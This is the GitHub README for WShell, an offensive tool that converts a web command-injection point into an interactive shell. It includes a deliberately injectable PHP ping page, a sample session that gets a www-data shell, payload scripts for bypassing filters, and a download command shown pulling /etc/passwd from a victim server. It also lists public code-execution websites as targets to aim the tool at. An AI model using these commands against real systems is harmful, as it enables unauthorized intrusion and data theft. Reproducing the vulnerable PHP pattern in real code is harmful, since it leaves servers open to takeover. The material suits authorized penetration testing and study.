Skip to content

Repository files navigation

WShell

Turn a web-based command injection into an interactive shell.

Python 3WShell LicenseGitHub ReleaseMade by Unlock Security


WShell takes a raw command injection point and turns it into something you can actually work with: persistent history, cd support, file transfers, and OS-aware behavior, all without uploading anything to the target.

Point it at a vulnerable endpoint, tell it where to inject, and it handles the rest.

Installation

pipx or uv are recommended to keep dependencies isolated:

# pipx
pipx install git+https://github.com/unlock-security/wshell.git
# uv
uv tool install git+https://github.com/unlock-security/wshell.git

WShell checks for updates on startup. Pass --no-update to skip this, or --include-prerelease to track pre-releases.

Quick start

Say you've found a command injection in a ping.php page:

<?php$host = $_POST['host'];
$count = intval($_GET['count']);
$command = "ping -c {$count}{$host} 2>&1";
echo"<pre>" . shell_exec($command) . "</pre>";
?>

Use the WSHELL placeholder to mark where commands get injected:

attacker@host:/$ wshell --log=info 'https://www.target.com/ping.php?count=3''host=;WSHELL #'
[13:37:00] [INFO] HTTP verb not specified. Using 'POST' based on parameters.
[13:37:00] [INFO] Target OS not specified, trying to automatically detect it.
[13:37:00] [INFO] Target OS detected as Linux.
www-data@target:/var/www/html/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

WShell detects the target OS (Linux, Windows CMD, or PowerShell) and adjusts behavior accordingly.

Features

  • No upload required. Works through the injection point directly — no web shell file needed.
  • cd and command history work as expected across requests.
  • Input/output scripts let you manipulate payloads and responses in a chain — useful for bypassing filters or decoding output (see Scripts).
  • download and upload commands handle file transfers in chunks and abstract away OS differences.
  • Full HTTP control — method, headers, cookies, body format (form or JSON), delays, timeouts, redirects, custom User-Agent.
  • Extensible — add your own scripts and commands without touching core code.

Usage

wshell [OPTIONS] URL [REQUEST_ITEMS...]

REQUEST_ITEMS follows HTTPie-style syntax: Key: value for headers, key=value for body parameters. The WSHELL placeholder can go in any of these or in the URL itself.

Options

CategoryArgumentDescriptionDefault
CoreURLThe vulnerable endpoint.(required)
REQUEST ITEMS...Headers (Key: value) and body data (key=value).
--osTarget OS/shell: linux, win-cmd, win-psh.Auto-detected
--placeholderInjection placeholder string.WSHELL
--promptStatic prompt string instead of the dynamic one.(dynamic)
HTTP-m, --methodHTTP method.POST if body params, else GET
-t, --timeoutConnection timeout in seconds. --no-timeout to disable.3.0
-d, --delayDelay between requests, in seconds.0
--data-rawRaw body string (form-urlencoded or JSON).
-j, --json / -f, --formSerialize body as JSON or form fields.--form
--keep-alivePersistent connection. --no-keep-alive to disable.True
--followFollow redirects. --no-follow to disable.True
-ua, --user-agentCustom User-Agent string.WShell X.Y.Z
-r, --random-agentPick a random User-Agent from the built-in list.False
Scripts--input-scriptsComma-separated script chain applied to commands before sending.
--output-scriptsComma-separated script chain applied to server responses.
--list-scriptsPrint all available scripts.
App--logLog level: critical, error, warning, info, debug.warning
--update / --no-updateToggle auto-update on startup.True
--include-prereleaseInclude pre-releases in the update check.False
-v, --versionPrint version and exit.
-h, --helpPrint help and exit.

Input/output scripts

Scripts transform the command payload before it's sent (input scripts) or process the server's response after it's received (output scripts). They're most useful when the target requires encoded input or returns encoded/escaped output.

Run them in a comma-separated chain with --input-scripts or --output-scripts:

# Replace spaces with ${IFS}, then base64-encode — useful for filters that block spaces
wshell --input-scripts=space2ifs,base64encode 'http://example.com/vuln?cmd=WSHELL'

List all available scripts:

wshell --list-scripts

Built-in commands

Type help -v at the WShell prompt to see all custom commands. The most useful one out of the box is download:

victim@vulnerable-server:/var/www/html/$ download -r /etc/passwd -l passwd.txt
[INFO] Downloading 2337 bytes as 3 chunks (1024 bytes each)
Downloading chunk 3/3
[INFO] File '/etc/passwd' downloaded to 'passwd.txt'

It handles chunking and encoding automatically, regardless of whether you're on Linux or Windows.

Extending WShell

Adding a script

Create a Python file in wshell/scripts/input/ or wshell/scripts/output/. The filename becomes the script's name. Define a run(data: str) -> str function with a docstring.

# wshell/scripts/input/reverse.pydefrun(command: str) ->str:
"""Reverses the command string."""returncommand[::-1]

Now --input-scripts=reverse works.

Adding a custom command

Create a Python file in a subdirectory of wshell/commands/. The directory name sets the category shown in help. Your class should inherit from wshell.commands.WShellCommandSet and follow the cmd2 modular commands pattern.

Use self._cmd.injector to run commands on the target, and self._dispatch() to handle OS-specific logic.

# wshell/commands/php/phpinfo.pyimportargparsefromcmd2importwith_argparserfromwshell.commandsimportWShellCommandSetclassPHPInfoCommandSet(WShellCommandSet):
_argparser=argparse.ArgumentParser(description="Create a phpinfo() file.")
_argparser.add_argument("-f", "--filename", default="info.php", help="Name of the file.")
@with_argparser(_argparser)defdo_phpinfo(self, args) ->None:
"""Creates a file that runs phpinfo() in the current directory."""file_content="<?php phpinfo();"self._dispatch("write_file", args.filename, file_content)
self._cmd.poutput(f"PHP info file created at '{args.filename}'")
def_linux_write_file(self, filename, content):
self._cmd.injector.execute(f"echo -n '{content}' > {filename}")
def_win_psh_write_file(self, filename, content):
self._cmd.injector.execute(f"Set-Content -Path '{filename}' -Value '{content}'")
def_win_cmd_write_file(self, filename, content):
self._cmd.injector.execute(f"echo {content} > {filename}")

Some real targets to test with

These are public, intentionally vulnerable platforms you can use to try WShell without setting anything up:

# cmdchallenge.com — online shell challenge platform
wshell --input-scripts=base64encode --output-scripts=unescape --delay=1.5 \
'https://cmdchallenge.com/c/r''cmd=WSHELL''slug=create_file'# learnshell.org — code execution sandbox
wshell --output-scripts=unescape --json \
'https://www.learnshell.org/''code=WSHELL''language=bash'# onecompiler.com — online compiler API
wshell --json --output-scripts=unescape \
'https://onecompiler.com/api/code/exec' \
'properties[language]=bash' \
'properties[files][][content]=WSHELL'

Local development

git clone https://github.com/unlock-security/wshell
cd wshell/
python3 -m venv .venv
source .venv/bin/activate
pip install -e .

Contributing

Check the open Issues and Pull Requests before opening something new. The contribution guide has more details.

License

GPL-3.0. See LICENSE.


Made with 💙 by Unlock Security

About

A handy interactive shell through {code,command,template} injection

Topics

Resources

Code of conduct

Contributing

Stars

10 stars

Watchers

1 watching

Forks

Releases

Used by

Contributors

Languages